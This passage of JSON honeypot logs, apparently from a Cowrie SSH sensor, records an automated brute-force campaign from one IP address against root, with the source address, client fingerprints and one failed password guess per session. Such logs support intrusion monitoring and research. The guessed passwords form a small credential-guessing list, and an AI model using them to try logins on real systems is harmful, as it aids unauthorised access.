dsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:46.570859Z","src_ip":"60.165.124.241","session":"837f5a59365b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zaq12wsx!","message":"login attempt [root/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:47.374667Z","src_ip":"60.165.124.241","session":"837f5a59365b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:48.640973Z","src_ip":"60.165.124.241","session":"837f5a59365b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39806,"dst_ip":"10.17.0.5","dst_port":22,"session":"419d71849e07","protocol":"ssh","message":"New connection: 60.165.124.241:39806 (10.17.0.5:22) [session: 419d71849e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:48.902584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:48.911401Z","src_ip":"60.165.124.241","session":"419d71849e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:49.176808Z","src_ip":"60.165.124.241","session":"419d71849e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morimori","message":"login attempt [root/morimori] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:49.980914Z","src_ip":"60.165.124.241","session":"419d71849e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:51.249666Z","src_ip":"60.165.124.241","session":"419d71849e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43028,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7c1e191733","protocol":"ssh","message":"New connection: 60.165.124.241:43028 (10.17.0.5:22) [session: 8a7c1e191733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:51.476877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:51.481742Z","src_ip":"60.165.124.241","session":"8a7c1e191733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:51.734606Z","src_ip":"60.165.124.241","session":"8a7c1e191733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aB!","message":"login attempt [root/123456aB!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:52.459709Z","src_ip":"60.165.124.241","session":"8a7c1e191733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:53.709498Z","src_ip":"60.165.124.241","session":"8a7c1e191733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46024,"dst_ip":"10.17.0.5","dst_port":22,"session":"5590fed49bbe","protocol":"ssh","message":"New connection: 60.165.124.241:46024 (10.17.0.5:22) [session: 5590fed49bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:53.946287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:53.955546Z","src_ip":"60.165.124.241","session":"5590fed49bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:54.197320Z","src_ip":"60.165.124.241","session":"5590fed49bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legendata.net123!@#","message":"login attempt [root/legendata.net123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:54.912791Z","src_ip":"60.165.124.241","session":"5590fed49bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:56.152550Z","src_ip":"60.165.124.241","session":"5590fed49bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49104,"dst_ip":"10.17.0.5","dst_port":22,"session":"f32f6642cbc5","protocol":"ssh","message":"New connection: 60.165.124.241:49104 (10.17.0.5:22) [session: f32f6642cbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:56.391985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:56.397124Z","src_ip":"60.165.124.241","session":"f32f6642cbc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:56.636953Z","src_ip":"60.165.124.241","session":"f32f6642cbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234321","message":"login attempt [root/1234321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:57.363134Z","src_ip":"60.165.124.241","session":"f32f6642cbc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:58.605291Z","src_ip":"60.165.124.241","session":"f32f6642cbc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52226,"dst_ip":"10.17.0.5","dst_port":22,"session":"92b3f849b4c8","protocol":"ssh","message":"New connection: 60.165.124.241:52226 (10.17.0.5:22) [session: 92b3f849b4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:58.834238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:58.843052Z","src_ip":"60.165.124.241","session":"92b3f849b4c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:59.079291Z","src_ip":"60.165.124.241","session":"92b3f849b4c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hq123456.","message":"login attempt [root/hq123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:59.796108Z","src_ip":"60.165.124.241","session":"92b3f849b4c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:01.035307Z","src_ip":"60.165.124.241","session":"92b3f849b4c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55152,"dst_ip":"10.17.0.5","dst_port":22,"session":"6422a72b3218","protocol":"ssh","message":"New connection: 60.165.124.241:55152 (10.17.0.5:22) [session: 6422a72b3218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:01.271112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:01.276609Z","src_ip":"60.165.124.241","session":"6422a72b3218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:01.514603Z","src_ip":"60.165.124.241","session":"6422a72b3218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz2wsx","message":"login attempt [root/!qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:02.236588Z","src_ip":"60.165.124.241","session":"6422a72b3218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:03.485723Z","src_ip":"60.165.124.241","session":"6422a72b3218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58040,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfa536bf5dd4","protocol":"ssh","message":"New connection: 60.165.124.241:58040 (10.17.0.5:22) [session: cfa536bf5dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:03.716577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:03.727027Z","src_ip":"60.165.124.241","session":"cfa536bf5dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:03.981984Z","src_ip":"60.165.124.241","session":"cfa536bf5dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9876543211","message":"login attempt [root/9876543211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:04.696786Z","src_ip":"60.165.124.241","session":"cfa536bf5dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:05.936134Z","src_ip":"60.165.124.241","session":"cfa536bf5dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32914,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5886d2f2ea5","protocol":"ssh","message":"New connection: 60.165.124.241:32914 (10.17.0.5:22) [session: c5886d2f2ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:06.175835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:06.182187Z","src_ip":"60.165.124.241","session":"c5886d2f2ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:06.426076Z","src_ip":"60.165.124.241","session":"c5886d2f2ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@2025","message":"login attempt [root/abc@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:07.157200Z","src_ip":"60.165.124.241","session":"c5886d2f2ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:08.399845Z","src_ip":"60.165.124.241","session":"c5886d2f2ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36116,"dst_ip":"10.17.0.5","dst_port":22,"session":"e519fb1a9ef1","protocol":"ssh","message":"New connection: 60.165.124.241:36116 (10.17.0.5:22) [session: e519fb1a9ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:08.666971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:08.675845Z","src_ip":"60.165.124.241","session":"e519fb1a9ef1","protocol":"ssh"}
